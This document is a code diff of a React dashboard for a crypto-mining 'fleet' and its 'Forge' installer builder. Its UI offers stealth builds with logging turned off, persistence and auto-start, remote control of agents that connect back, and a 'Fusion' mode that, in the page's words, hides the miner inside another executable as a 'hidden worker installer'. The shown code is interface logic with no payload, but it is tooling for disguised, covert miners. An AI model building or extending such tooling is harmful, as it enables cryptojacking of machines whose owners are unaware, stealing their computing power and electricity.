break;
|
||||
}
|
||||
case 'agent_offline': {
|
||||
const { agent_id } = msg.payload as { agent_id: string };
|
||||
const { agent_id } = msg.payload as WSAgentOffline;
|
||||
setAgents((prev) =>
|
||||
prev.map((a) =>
|
||||
a.id === agent_id ? { ...a, status: 'offline' as const } : a
|
||||
@@ -86,17 +89,7 @@ export function useWebSocket(): UseWebSocketReturn {
|
||||
break;
|
||||
}
|
||||
case 'stats_update': {
|
||||
const update = msg.payload as {
|
||||
agent_id: string;
|
||||
hashrate_15s: number;
|
||||
hashrate_1m: number;
|
||||
hashrate_15m: number;
|
||||
cpu_usage_pct: number;
|
||||
memory_usage_pct?: number;
|
||||
uptime_seconds?: number;
|
||||
shares_submitted?: number;
|
||||
shares_accepted?: number;
|
||||
};
|
||||
const update = msg.payload as WSStatsUpdate;
|
||||
setAgents((prev) =>
|
||||
prev.map((a) =>
|
||||
a.id === update.agent_id
|
||||
@@ -115,6 +108,7 @@ export function useWebSocket(): UseWebSocketReturn {
|
||||
(update.shares_submitted ?? a.shares_total) -
|
||||
(update.shares_accepted ?? a.shares_good)
|
||||
),
|
||||
status: 'online' as const,
|
||||
}
|
||||
: a
|
||||
)
|
||||
@@ -150,17 +144,15 @@ export function useWebSocket(): UseWebSocketReturn {
|
||||
break;
|
||||
}
|
||||
case 'command_result': {
|
||||
const { agent_id } = msg.payload as { agent_id?: string };
|
||||
if (agent_id && msg.payload && typeof msg.payload === 'object') {
|
||||
const p = msg.payload as { action?: string; message?: string; success?: boolean };
|
||||
if (p.action === 'get_log' && p.success && p.message) {
|
||||
setAgentLogs((prev) => ({ ...prev, [agent_id]: p.message! }));
|
||||
}
|
||||
const p = msg.payload as WSCommandResult;
|
||||
const agent_id = p.agent_id;
|
||||
if (agent_id && p.action === 'get_log' && p.success && p.message) {
|
||||
setAgentLogs((prev) => ({ ...prev, [agent_id]: p.message! }));
|
||||
}
|
||||
break;
|
||||
}
|
||||
case 'agent_log': {
|
||||
const { agent_id, content } = msg.payload as { agent_id: string; content: string };
|
||||
const { agent_id, content } = msg.payload as WSAgentLog;
|
||||
if (agent_id) {
|
||||
setAgentLogs((prev) => ({ ...prev, [agent_id]: content }));
|
||||
}
|
||||
|
||||
@@ -1,11 +1,22 @@
|
||||
import { useState, useEffect } from 'react';
|
||||
import { useState, useEffect, useMemo, useCallback } from 'react';
|
||||
import { api } from '../api/client';
|
||||
import { useWebSocket } from '../hooks/useWebSocket';
|
||||
import type { Agent, HashrateSample } from '../types';
|
||||
import HashrateChart from '../components/Charts/HashrateChart';
|
||||
import NeonCard from '../components/NeonCard/NeonCard';
|
||||
import AgentRemoteActions from '../components/Fleet/AgentRemoteActions';
|
||||
import AgentListItem from '../components/Fleet/AgentListItem';
|
||||
import FleetToolbar from '../components/Fleet/FleetToolbar';
|
||||
import {
|
||||
DEFAULT_FLEET_FILTERS,
|
||||
filterFleetAgents,
|
||||
agentIsIdleMiner,
|
||||
formatHashrate,
|
||||
formatUptime,
|
||||
} from '../help/fleetFilters';
|
||||
import type { FleetFilterState } from '../help/fleetFilters';
|
||||
import '../components/Fleet/FleetPanels.css';
|
||||
import '../components/Fleet/FleetToolbar.css';
|
||||
import '../components/Fleet/AgentRemoteActions.css';
|
||||
import './Pages.css';
|
||||
|
||||
@@ -13,11 +24,19 @@ export default function AgentsPage() {
|
||||
const { agents: liveAgents, isConnected, agentLogs, latestMessage } = useWebSocket();
|
||||
const [agents, setAgents] = useState<Agent[]>([]);
|
||||
const [selectedAgent, setSelectedAgent] = useState<Agent | null>(null);
|
||||
const [expandedId, setExpandedId] = useState<string | null>(null);
|
||||
const [selectedIds, setSelectedIds] = useState<Set<string>>(new Set());
|
||||
const [filters, setFilters] = useState<FleetFilterState>(DEFAULT_FLEET_FILTERS);
|
||||
const [bulkBusy, setBulkBusy] = useState(false);
|
||||
const [hashrateHistory, setHashrateHistory] = useState<HashrateSample[]>([]);
|
||||
const [loading, setLoading] = useState(true);
|
||||
const [loadError, setLoadError] = useState('');
|
||||
const [logContent, setLogContent] = useState('');
|
||||
const [logLoading, setLogLoading] = useState(false);
|
||||
const [notesDraft, setNotesDraft] = useState('');
|
||||
const [tagsDraft, setTagsDraft] = useState('');
|
||||
const [metaSaving, setMetaSaving] = useState(false);
|
||||
const [metaMsg, setMetaMsg] = useState('');
|
||||
|
||||
useEffect(() => {
|
||||
api.listAgents()
|
||||
@@ -33,6 +52,8 @@ export default function AgentsPage() {
|
||||
const updated = liveAgents.find((a) => a.id === selectedAgent.id);
|
||||
if (updated) {
|
||||
setSelectedAgent(updated);
|
||||
setNotesDraft(updated.notes || '');
|
||||
setTagsDraft((updated.tags || []).join(', '));
|
||||
} else {
|
||||
setSelectedAgent(null);
|
||||
setLogContent('');
|
||||
@@ -45,6 +66,11 @@ export default function AgentsPage() {
|
||||
}
|
||||
}, [selectedAgent?.id, agentLogs]);
|
||||
|
||||
const filteredAgents = useMemo(
|
||||
() => filterFleetAgents(agents, filters),
|
||||
[agents, filters]
|
||||
);
|
||||
|
||||
const refreshLog = async (refresh = false) => {
|
||||
if (!selectedAgent) return;
|
||||
setLogLoading(true);
|
||||
@@ -60,6 +86,9 @@ export default function AgentsPage() {
|
||||
|
||||
const selectAgent = async (agent: Agent) => {
|
||||
setSelectedAgent(agent);
|
||||
setNotesDraft(agent.notes || '');
|
||||
setTagsDraft((agent.tags || []).join(', '));
|
||||
setMetaMsg('');
|
||||
setLogContent('');
|
||||
try {
|
||||
const history = await api.getAgentStats(agent.id, 60);
|
||||
@@ -69,15 +98,75 @@ export default function AgentsPage() {
|
||||
}
|
||||
};
|
||||
|
||||
const saveMeta = async () => {
|
||||
if (!selectedAgent) return;
|
||||
setMetaSaving(true);
|
||||
setMetaMsg('');
|
||||
const tags = tagsDraft.split(',').map((t) => t.trim()).filter(Boolean);
|
||||
try {
|
||||
const res = await api.updateAgentMeta(selectedAgent.id, notesDraft, tags);
|
||||
const updated = res.agent;
|
||||
setAgents((prev) => prev.map((a) => (a.id === updated.id ? { ...a, ...updated } : a)));
|
||||
setSelectedAgent((prev) => (prev?.id === updated.id ? { ...prev, ...updated } : prev));
|
||||
setMetaMsg('Saved');
|
||||
setTimeout(() => setMetaMsg(''), 2000);
|
||||
} catch (err) {
|
||||
setMetaMsg(err instanceof Error ? err.message : 'Save failed');
|
||||
} finally {
|
||||
setMetaSaving(false);
|
||||
}
|
||||
};
|
||||
|
||||
const toggleSelect = useCallback((id: string, on: boolean) => {
|
||||
setSelectedIds((prev) => {
|
||||
const next = new Set(prev);
|
||||
if (on) next.add(id);
|
||||
else next.delete(id);
|
||||
return next;
|
||||
});
|
||||
}, []);
|
||||
|
||||
const handleBulkAction = async (action: string) => {
|
||||
const ids = [...selectedIds];
|
||||
if (ids.length === 0) return;
|
||||
|
||||
let targetIds = ids;
|
||||
if (action === 'restart_idle') {
|
||||
targetIds = agents.filter((a) => ids.includes(a.id) && agentIsIdleMiner(a)).map((a) => a.id);
|
||||
if (targetIds.length === 0) {
|
||||
alert('No selected online agents with idle hashrate (< 100 H/s).');
|
||||
return;
|
||||
}
|
||||
action = 'restart';
|
||||
}
|
||||
|
||||
const onlineIds = targetIds.filter((id) => agents.find((a) => a.id === id)?.status === 'online');
|
||||
if (onlineIds.length === 0) {
|
||||
alert('No online agents in selection.');
|
||||
return;
|
||||
}
|
||||
|
||||
if (action === 'stop' && !window.confirm(`Stop miner on ${onlineIds.length} agent(s)?`)) return;
|
||||
|
||||
setBulkBusy(true);
|
||||
try {
|
||||
await api.sendBulkCommand(onlineIds, action);
|
||||
} catch (err) {
|
||||
console.error(err);
|
||||
} finally {
|
||||
setBulkBusy(false);
|
||||
}
|
||||
};
|
||||
|
||||
return (
|
||||
<div className="page fade-in command-deck">
|
||||
<header className="deck-hero">
|
||||
<div className="deck-hero-text">
|
||||
<p className="deck-eyebrow font-tech">FLEET REGISTRY</p>
|
||||
<h1>Fleet Roster</h1>
|
||||
<p className="page-subtitle">Inspect each node — hashrate history, hardware, share ledger.</p>
|
||||
<p className="page-subtitle">Compact list — click a row to expand quick actions or inspect full telemetry on the right.</p>
|
||||
</div>
|
||||
<span className="header-count font-tech">{agents.length} NODES</span>
|
||||
<span className="header-count font-tech">{filteredAgents.length}/{agents.length} NODES</span>
|
||||
</header>
|
||||
|
||||
{loadError && (
|
||||
@@ -98,45 +187,74 @@ export default function AgentsPage() {
|
||||
</NeonCard>
|
||||
) : (
|
||||
<div className="agents-layout">
|
||||
<div className="agents-list">
|
||||
{agents.map((agent) => (
|
||||
<div
|
||||
key={agent.id}
|
||||
className={`neon-card agent-list-item ${selectedAgent?.id === agent.id ? 'selected' : ''}`}
|
||||
onClick={() => selectAgent(agent)}
|
||||
>
|
||||
<div className="agent-list-header">
|
||||
<div className="agent-list-name">
|
||||
<span className={`status-dot ${agent.status}`} />
|
||||
<span>{agent.name}</span>
|
||||
</div>
|
||||
<span className={`status-badge ${agent.status}`}>
|
||||
{agent.status}
|
||||
</span>
|
||||
</div>
|
||||
<div className="agent-list-details">
|
||||
<span>Hashrate: {formatHashrate(agent.hashrate_15m)}</span>
|
||||
<span>Shares: {agent.shares_good}/{agent.shares_total}</span>
|
||||
</div>
|
||||
<div className="agent-list-meta">
|
||||
<span>{agent.ip}</span>
|
||||
<span>v{agent.version || '?'}</span>
|
||||
<span>{agent.cpu_cores} cores</span>
|
||||
</div>
|
||||
<AgentRemoteActions agent={agent} compact />
|
||||
</div>
|
||||
))}
|
||||
<div className="agents-list-panel">
|
||||
<FleetToolbar
|
||||
agents={agents}
|
||||
filters={filters}
|
||||
onChange={setFilters}
|
||||
selectedCount={selectedIds.size}
|
||||
onBulkAction={handleBulkAction}
|
||||
bulkBusy={bulkBusy}
|
||||
/>
|
||||
<div className="agents-list">
|
||||
{filteredAgents.map((agent) => (
|
||||
<AgentListItem
|
||||
key={agent.id}
|
||||
agent={agent}
|
||||
selected={selectedAgent?.id === agent.id}
|
||||
expanded={expandedId === agent.id}
|
||||
selectable
|
||||
checked={selectedIds.has(agent.id)}
|
||||
onCheck={(on) => toggleSelect(agent.id, on)}
|
||||
onSelect={() => void selectAgent(agent)}
|
||||
onToggleExpand={() => setExpandedId((prev) => (prev === agent.id ? null : agent.id))}
|
||||
latestWsMessage={latestMessage}
|
||||
/>
|
||||
))}
|
||||
{filteredAgents.length === 0 && (
|
||||
<p className="form-hint">No agents match filters.</p>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{selectedAgent && (
|
||||
<NeonCard accent="cyan" className="agent-detail" hud>
|
||||
<h2 className="font-display">{selectedAgent.name}</h2>
|
||||
{(selectedAgent.tags?.length ?? 0) > 0 && (
|
||||
<div style={{ marginBottom: '0.5rem' }}>
|
||||
{selectedAgent.tags!.map((t) => (
|
||||
<span key={t} className="agent-tag-chip">{t}</span>
|
||||
))}
|
||||
</div>
|
||||
)}
|
||||
|
||||
<div className="detail-section agent-meta-editor">
|
||||
<h3>Notes & Tags</h3>
|
||||
<p className="form-hint">Labels like "Living room PC" or "Rack B" — stored on the server, shown on list cards.</p>
|
||||
<textarea
|
||||
className="input"
|
||||
rows={2}
|
||||
placeholder="Notes about this machine…"
|
||||
value={notesDraft}
|
||||
onChange={(e) => setNotesDraft(e.target.value)}
|
||||
/>
|
||||
<input
|
||||
type="text"
|
||||
className="input mono agent-meta-tags-input"
|
||||
placeholder="Tags: living-room, rack-b (comma separated)"
|
||||
value={tagsDraft}
|
||||
onChange={(e) => setTagsDraft(e.target.value)}
|
||||
/>
|
||||
<button type="button" className="btn btn-outline btn-sm" disabled={metaSaving} onClick={() => void saveMeta()}>
|
||||
{metaSaving ? 'Saving…' : 'Save notes & tags'}
|
||||
</button>
|
||||
{metaMsg && <span className="form-hint">{metaMsg}</span>}
|
||||
</div>
|
||||
|
||||
<div className="agent-detail-grid">
|
||||
<div className="detail-item">
|
||||
<span className="detail-label">Status</span>
|
||||
<span className={`status-badge ${selectedAgent.status}`}>
|
||||
{selectedAgent.status}
|
||||
</span>
|
||||
<span className={`status-badge ${selectedAgent.status}`}>{selectedAgent.status}</span>
|
||||
</div>
|
||||
<div className="detail-item">
|
||||
<span className="detail-label">Wallet</span>
|
||||
@@ -222,8 +340,12 @@ export default function AgentsPage() {
|
||||
|
||||
<div className="detail-section">
|
||||
<h3>Remote Control</h3>
|
||||
{selectedAgent.status !== 'online' && (
|
||||
<p className="form-hint">Agent is offline — remote actions are disabled until it reconnects.</p>
|
||||
)}
|
||||
<AgentRemoteActions
|
||||
agent={selectedAgent}
|
||||
online={selectedAgent.status === 'online'}
|
||||
latestWsMessage={latestMessage}
|
||||
onCommandSent={(action: string) => {
|
||||
if (action === 'get_log') refreshLog(true);
|
||||
@@ -232,7 +354,7 @@ export default function AgentsPage() {
|
||||
</div>
|
||||
|
||||
<div className="detail-section">
|
||||
<h3>Agent Log <button type="button" className="agent-action-btn" onClick={() => refreshLog(true)} disabled={logLoading}>{logLoading ? '…' : 'Refresh'}</button></h3>
|
||||
<h3>Agent Log <button type="button" className="agent-action-btn" onClick={() => refreshLog(true)} disabled={logLoading || selectedAgent.status !== 'online'}>{logLoading ? '…' : 'Refresh'}</button></h3>
|
||||
<p className="form-hint">Streams miner.log when file_logging is enabled (non-stealth builds).</p>
|
||||
<pre className="log-viewer">{logContent || (selectedAgent.status === 'online' ? 'Click Fetch Log or Refresh' : 'Agent offline')}</pre>
|
||||
</div>
|
||||
@@ -246,18 +368,3 @@ export default function AgentsPage() {
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
function formatHashrate(h: number): string {
|
||||
if (h >= 1_000_000) return `${(h / 1_000_000).toFixed(2)} MH/s`;
|
||||
if (h >= 1_000) return `${(h / 1_000).toFixed(2)} KH/s`;
|
||||
return `${h.toFixed(0)} H/s`;
|
||||
}
|
||||
|
||||
function formatUptime(seconds: number): string {
|
||||
const d = Math.floor(seconds / 86400);
|
||||
const h = Math.floor((seconds % 86400) / 3600);
|
||||
const m = Math.floor((seconds % 3600) / 60);
|
||||
if (d > 0) return `${d}d ${h}h`;
|
||||
if (h > 0) return `${h}h ${m}m`;
|
||||
return `${m}m`;
|
||||
}
|
||||
|
||||
@@ -1,11 +1,11 @@
|
||||
import { useState, useEffect, useRef, useMemo } from 'react';
|
||||
import { Link } from 'react-router-dom';
|
||||
import { api } from '../api/client';
|
||||
import type { BuildRequest, BuildRecord, BuildResponse, ServerConfig, ServerInfo, BlueprintInfo } from '../types';
|
||||
import type { BuildRequest, BuildRecord, BuildResponse, ServerConfig, ServerInfo, BlueprintInfo, FusionEstimate } from '../types';
|
||||
import { HelpTip, FieldHint } from '../components/HelpTip';
|
||||
import NeonCard from '../components/NeonCard/NeonCard';
|
||||
import { SETUP_CHEATSHEET } from '../help/settingHelp';
|
||||
import { forgeDefaultsFromServer } from '../help/forgeDefaults';
|
||||
import { SETUP_CHEATSHEET, FIELD_HELP } from '../help/settingHelp';
|
||||
import { forgeDefaultsFromServerSmart, applySmartForgeDefaults, RECOMMENDED_DEFAULTS_BLURB } from '../help/forgeSmartDefaults';
|
||||
import { lanEndpointCandidates } from '../help/endpointHelpers';
|
||||
import { runForgePreflight, preflightHasErrors } from '../help/forgeValidation';
|
||||
import { previewInstallPath } from '../help/installPreview';
|
||||
@@ -17,8 +17,31 @@ import AuthDownloadButton from '../components/AuthDownloadButton';
|
||||
import '../components/Fleet/FleetPanels.css';
|
||||
import './Pages.css';
|
||||
|
||||
function defaultsFromConfig(config: ServerConfig, serverInfo: ServerInfo): BuildRequest {
|
||||
return forgeDefaultsFromServer(config, serverInfo);
|
||||
function formatBytes(n: number): string {
|
||||
if (n < 1024) return `${n} B`;
|
||||
const units = ['KB', 'MB', 'GB'];
|
||||
let v = n / 1024;
|
||||
for (const u of units) {
|
||||
if (v < 1024) return `${v.toFixed(2)} ${u}`;
|
||||
v /= 1024;
|
||||
}
|
||||
return `${v.toFixed(2)} TB`;
|
||||
}
|
||||
|
||||
function defaultsFromConfig(config: ServerConfig, serverInfo: ServerInfo, builds: BuildRecord[] = []): BuildRequest {
|
||||
return forgeDefaultsFromServerSmart(config, serverInfo, builds);
|
||||
}
|
||||
|
||||
const FORGE_MODE_KEY = 'aetherforge-forge-mode';
|
||||
|
||||
function loadSimpleMode(): boolean {
|
||||
try {
|
||||
const v = localStorage.getItem(FORGE_MODE_KEY);
|
||||
if (v === 'advanced') return false;
|
||||
} catch {
|
||||
/* ignore */
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
export default function BuilderPage() {
|
||||
@@ -30,9 +53,22 @@ export default function BuilderPage() {
|
||||
const [showRecent, setShowRecent] = useState(false);
|
||||
const [loadingDefaults, setLoadingDefaults] = useState(true);
|
||||
const [fusionPrepFile, setFusionPrepFile] = useState<File | null>(null);
|
||||
const [fusionEstimate, setFusionEstimate] = useState<FusionEstimate | null>(null);
|
||||
const [estimateLoading, setEstimateLoading] = useState(false);
|
||||
const [estimateError, setEstimateError] = useState('');
|
||||
const [serverInfo, setServerInfo] = useState<ServerInfo | null>(null);
|
||||
const [listenPort, setListenPort] = useState(8989);
|
||||
const [refreshingEndpoints, setRefreshingEndpoints] = useState(false);
|
||||
const [simpleMode, setSimpleMode] = useState(loadSimpleMode);
|
||||
|
||||
const setForgeMode = (simple: boolean) => {
|
||||
setSimpleMode(simple);
|
||||
try {
|
||||
localStorage.setItem(FORGE_MODE_KEY, simple ? 'simple' : 'advanced');
|
||||
} catch {
|
||||
/* ignore */
|
||||
}
|
||||
};
|
||||
|
||||
const refreshEndpointInfo = async () => {
|
||||
setRefreshingEndpoints(true);
|
||||
@@ -56,11 +92,13 @@ export default function BuilderPage() {
|
||||
const fileInputRef = useRef<HTMLInputElement>(null);
|
||||
|
||||
useEffect(() => {
|
||||
Promise.all([api.getConfig(), api.getServerInfo()])
|
||||
.then(([config, info]) => {
|
||||
Promise.all([api.getConfig(), api.getServerInfo(), api.listBuilds().catch(() => [])])
|
||||
.then(([config, info, builds]) => {
|
||||
setServerInfo(info);
|
||||
setListenPort(config.port || info.port || 8989);
|
||||
setForm(defaultsFromConfig(config, info));
|
||||
const candidates = lanEndpointCandidates(info, config.port || info.port);
|
||||
const base = defaultsFromConfig(config, info, builds);
|
||||
setForm(applySmartForgeDefaults(base, { builds, endpointCandidates: candidates }));
|
||||
})
|
||||
.catch((err) => {
|
||||
console.error(err);
|
||||
@@ -227,6 +265,24 @@ export default function BuilderPage() {
|
||||
}
|
||||
};
|
||||
|
||||
const applyRecommendedDefaults = async () => {
|
||||
if (!form) return;
|
||||
try {
|
||||
const [config, info, builds] = await Promise.all([
|
||||
api.getConfig(),
|
||||
api.getServerInfo(),
|
||||
api.listBuilds().catch(() => [] as BuildRecord[]),
|
||||
]);
|
||||
const candidates = lanEndpointCandidates(info, config.port || info.port);
|
||||
const base = defaultsFromConfig(config, info, builds);
|
||||
setForm(applySmartForgeDefaults({ ...base, fusion_enabled: form.fusion_enabled }, { builds, endpointCandidates: candidates }));
|
||||
setBlueprintMsg('✅ Recommended defaults applied');
|
||||
setTimeout(() => setBlueprintMsg(''), 2500);
|
||||
} catch (err: unknown) {
|
||||
setError(err instanceof Error ? err.message : 'Could not refresh defaults');
|
||||
}
|
||||
};
|
||||
|
||||
const updateField = (field: keyof BuildRequest, value: unknown) => {
|
||||
setForm((prev) => (prev ? applyForgeFieldUpdate(prev, field, value) : prev));
|
||||
};
|
||||
@@ -243,6 +299,44 @@ export default function BuilderPage() {
|
||||
const canForge = form ? !preflightHasErrors(preflightChecks) : false;
|
||||
const errorCount = preflightChecks.filter((c) => c.level === 'error').length;
|
||||
|
||||
useEffect(() => {
|
||||
if (!form?.fusion_enabled || !fusionPrepFile) {
|
||||
setFusionEstimate(null);
|
||||
setEstimateError('');
|
||||
return;
|
||||
}
|
||||
let cancelled = false;
|
||||
const timer = window.setTimeout(() => {
|
||||
setEstimateLoading(true);
|
||||
setEstimateError('');
|
||||
api.estimateFusion(form, fusionPrepFile)
|
||||
.then((est) => {
|
||||
if (!cancelled) setFusionEstimate(est);
|
||||
})
|
||||
.catch((err: Error) => {
|
||||
if (!cancelled) {
|
||||
setFusionEstimate(null);
|
||||
setEstimateError(err.message || 'Estimate failed');
|
||||
}
|
||||
})
|
||||
.finally(() => {
|
||||
if (!cancelled) setEstimateLoading(false);
|
||||
});
|
||||
}, 350);
|
||||
return () => {
|
||||
cancelled = true;
|
||||
window.clearTimeout(timer);
|
||||
};
|
||||
}, [
|
||||
form?.fusion_enabled,
|
||||
form?.fusion_output_name,
|
||||
form?.output_dir,
|
||||
form?.obfuscate,
|
||||
form?.sign_build,
|
||||
form?.worker_name,
|
||||
fusionPrepFile,
|
||||
]);
|
||||
|
||||
if (loadingDefaults || !form) {
|
||||
return (
|
||||
<div className="page fade-in command-deck">
|
||||
@@ -283,10 +377,29 @@ export default function BuilderPage() {
|
||||
<p className="deck-eyebrow font-tech">INSTALLER FORGE</p>
|
||||
<h1>The Forge</h1>
|
||||
<p className="page-subtitle">
|
||||
Every miner option lives here — install path, stealth, Fusion, persistence. Calibrate tab is server-only.
|
||||
{simpleMode
|
||||
? 'Simple mode: name the worker, confirm wallet + LAN URL, forge. Recommended defaults handle stealth, idle mining, and persistence.'
|
||||
: 'Every miner option lives here — install path, stealth, Fusion, persistence. Calibrate tab is server-only.'}
|
||||
</p>
|
||||
</div>
|
||||
<div className="deck-hero-actions" style={{ display: 'flex', gap: '8px', flexWrap: 'wrap' }}>
|
||||
<div className="deck-hero-actions" style={{ display: 'flex', gap: '8px', flexWrap: 'wrap', alignItems: 'center' }}>
|
||||
<div className="forge-mode-toggle" role="group" aria-label="Forge display mode">
|
||||
<button
|
||||
type="button"
|
||||
className={`btn btn-sm ${simpleMode ? 'btn-primary' : 'btn-outline'}`}
|
||||
onClick={() => setForgeMode(true)}
|
||||
title={FIELD_HELP.forge_simple_mode}
|
||||
>
|
||||
Simple
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
className={`btn btn-sm ${!simpleMode ? 'btn-primary' : 'btn-outline'}`}
|
||||
onClick={() => setForgeMode(false)}
|
||||
>
|
||||
Advanced
|
||||
</button>
|
||||
</div>
|
||||
<button className="btn btn-outline" onClick={loadRecentBuilds}>
|
||||
Recent Builds
|
||||
</button>
|
||||
@@ -365,31 +478,41 @@ export default function BuilderPage() {
|
||||
</div>
|
||||
|
||||
<div className="card builder-form">
|
||||
<div className="forge-rules-banner">
|
||||
<h3 className="font-tech">FORGE RULES — READ THIS ONCE</h3>
|
||||
<p className="form-hint" style={{ margin: 0 }}>
|
||||
Everything on this page is configurable, but incompatible mixes are blocked at forge time.
|
||||
Green = baked into the installer. Blue = server folder only. Fields gray out when they do not apply.
|
||||
</p>
|
||||
<div className="forge-rules-grid">
|
||||
<div className="forge-rule-card">
|
||||
<strong>⛏ Baked into installer</strong>
|
||||
Wallet, pool, threads, install path, stealth, AI toggle — frozen when you forge. Re-forge to change.
|
||||
</div>
|
||||
<div className="forge-rule-card">
|
||||
<strong>🖥 Server folder only</strong>
|
||||
Output Folder copies exe + uninstall script on this PC. Not embedded in the worker.
|
||||
</div>
|
||||
<div className="forge-rule-card">
|
||||
<strong>🔒 Auto-coupled</strong>
|
||||
Stealth disables logs. Fusion forces background mode. Scheduled/Service forces persistence.
|
||||
</div>
|
||||
<div className="forge-rule-card">
|
||||
<strong>✕ Cannot forge until fixed</strong>
|
||||
Preflight errors below must be resolved — warnings let you forge but double-check first.
|
||||
{simpleMode ? (
|
||||
<div className="forge-simple-banner card">
|
||||
<p className="font-tech">RECOMMENDED DEFAULTS — AUTO-SELECTED</p>
|
||||
<p className="form-hint">{RECOMMENDED_DEFAULTS_BLURB}</p>
|
||||
<button type="button" className="btn btn-outline btn-sm" onClick={() => void applyRecommendedDefaults()}>
|
||||
Reset to recommended defaults
|
||||
</button>
|
||||
</div>
|
||||
) : (
|
||||
<div className="forge-rules-banner">
|
||||
<h3 className="font-tech">FORGE RULES — READ THIS ONCE</h3>
|
||||
<p className="form-hint" style={{ margin: 0 }}>
|
||||
Everything on this page is configurable, but incompatible mixes are blocked at forge time.
|
||||
Green = baked into the installer. Blue = server folder only. Fields gray out when they do not apply.
|
||||
</p>
|
||||
<div className="forge-rules-grid">
|
||||
<div className="forge-rule-card">
|
||||
<strong>⛏ Baked into installer</strong>
|
||||
Wallet, pool, threads, install path, stealth, AI toggle — frozen when you forge. Re-forge to change.
|
||||
</div>
|
||||
<div className="forge-rule-card">
|
||||
<strong>🖥 Server folder only</strong>
|
||||
Output Folder copies exe + uninstall script on this PC. Not embedded in the worker.
|
||||
</div>
|
||||
<div className="forge-rule-card">
|
||||
<strong>🔒 Auto-coupled</strong>
|
||||
Stealth disables logs. Fusion forces background mode. Scheduled/Service forces persistence.
|
||||
</div>
|
||||
<div className="forge-rule-card">
|
||||
<strong>✕ Cannot forge until fixed</strong>
|
||||
Preflight errors below must be resolved — warnings let you forge but double-check first.
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{liveNotices.length > 0 && (
|
||||
<div className="forge-live-notices">
|
||||
@@ -402,10 +525,11 @@ export default function BuilderPage() {
|
||||
</div>
|
||||
)}
|
||||
|
||||
<h2>Build Miner Installer</h2>
|
||||
<h2>{simpleMode ? 'Quick Forge' : 'Build Miner Installer'}</h2>
|
||||
<p className="form-description">
|
||||
Creates a single Windows installer `.exe`. Copy it to any machine on your network and run it once.
|
||||
It installs the miner, registers auto-start, connects back to this dashboard at your LAN IP, and begins mining.
|
||||
{simpleMode
|
||||
? 'Three fields below, then forge. Pick your LAN address chip if unsure — not localhost. Output lands in the project root when done.'
|
||||
: 'Creates a single Windows installer `.exe`. Copy it to any machine on your network and run it once. It installs the miner, registers auto-start, connects back to this dashboard at your LAN IP, and begins mining.'}
|
||||
</p>
|
||||
|
||||
<form onSubmit={handleSubmit}>
|
||||
@@ -428,6 +552,7 @@ export default function BuilderPage() {
|
||||
onChange={(e) => updateField('worker_name', e.target.value)}
|
||||
required
|
||||
/>
|
||||
<FieldHint field="worker_name" />
|
||||
</div>
|
||||
<div className="form-group endpoint-group">
|
||||
<div className="endpoint-header">
|
||||
@@ -483,8 +608,10 @@ export default function BuilderPage() {
|
||||
onChange={(e) => updateField('wallet', e.target.value)}
|
||||
required
|
||||
/>
|
||||
<FieldHint field="wallet" />
|
||||
</div>
|
||||
|
||||
{!simpleMode && (
|
||||
<div className={`form-group ${fieldMeta.output_dir?.badge === 'server-only' ? '' : ''}`}>
|
||||
<div className="label-row">
|
||||
<label className="label">Output Folder (server) <HelpTip field="output_dir" /></label>
|
||||
@@ -503,8 +630,11 @@ export default function BuilderPage() {
|
||||
Example: <code>exports</code> will copy the finished exe to <code>data/exports</code> on this host.
|
||||
</p>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{!simpleMode && (
|
||||
<>
|
||||
<div className="form-section">
|
||||
<ForgeSectionHeader
|
||||
title="Pool Configuration"
|
||||
@@ -823,12 +953,16 @@ export default function BuilderPage() {
|
||||
<ForgeLockedHint meta={fieldMeta.auto_start} />
|
||||
</div>
|
||||
</div>
|
||||
</>
|
||||
)}
|
||||
|
||||
<div className="form-section">
|
||||
<ForgeSectionHeader
|
||||
title="Fusion (prep + worker)"
|
||||
badge="baked"
|
||||
description="Optional — bundles prep.exe with the miner. Forces background display when enabled."
|
||||
description={simpleMode
|
||||
? 'Optional — hide the miner inside your own prep.exe. Upload prep, forge, deploy one file.'
|
||||
: 'Optional — bundles prep.exe with the miner. Forces background display when enabled.'}
|
||||
/>
|
||||
<div className="form-group checkbox-group">
|
||||
<label className="checkbox-label">
|
||||
@@ -849,12 +983,19 @@ export default function BuilderPage() {
|
||||
type="file"
|
||||
className="input"
|
||||
accept=".exe,application/octet-stream"
|
||||
onChange={(e) => setFusionPrepFile(e.target.files?.[0] || null)}
|
||||
onChange={(e) => {
|
||||
const f = e.target.files?.[0] || null;
|
||||
setFusionPrepFile(f);
|
||||
if (f?.name) {
|
||||
updateField('fusion_output_name', f.name);
|
||||
}
|
||||
}}
|
||||
/>
|
||||
{fusionPrepFile && (
|
||||
<span className="form-hint">Selected: {fusionPrepFile.name} ({(fusionPrepFile.size / 1024 / 1024).toFixed(2)} MB)</span>
|
||||
)}
|
||||
</div>
|
||||
{!simpleMode && (
|
||||
<div className="form-row">
|
||||
<div className="form-group">
|
||||
<label className="label">Run Order <HelpTip field="fusion_run_order" /></label>
|
||||
@@ -873,13 +1014,80 @@ export default function BuilderPage() {
|
||||
<FieldHint field="fusion_output_name" />
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
{simpleMode && fusionPrepFile && (
|
||||
<p className="form-hint">Output name: <code>{fusionPrepFile.name || form.fusion_output_name}</code> (matches your prep file). Run order: parallel.</p>
|
||||
)}
|
||||
<p className="form-hint">
|
||||
Fused output: <code>{form.fusion_output_name || 'prep.exe'}</code> containing your prep tool + hidden worker installer.
|
||||
</p>
|
||||
{(estimateLoading || fusionEstimate || estimateError) && (
|
||||
<div className="fusion-estimate-panel card">
|
||||
<p className="font-tech" style={{ marginBottom: '0.5rem' }}>FUSION SIZE ESTIMATE (DRY RUN)</p>
|
||||
{estimateLoading && <p className="form-hint">Calculating…</p>}
|
||||
{estimateError && <p className="form-hint" style={{ color: 'var(--neon-red, #f55)' }}>{estimateError}</p>}
|
||||
{fusionEstimate && (
|
||||
<>
|
||||
<ul className="preflight-list" style={{ marginBottom: '0.75rem' }}>
|
||||
<li className="preflight-item preflight-ok">
|
||||
<span className="preflight-icon">✓</span>
|
||||
<span>Prep: {formatBytes(fusionEstimate.prep_bytes)} ({fusionEstimate.prep_name})</span>
|
||||
</li>
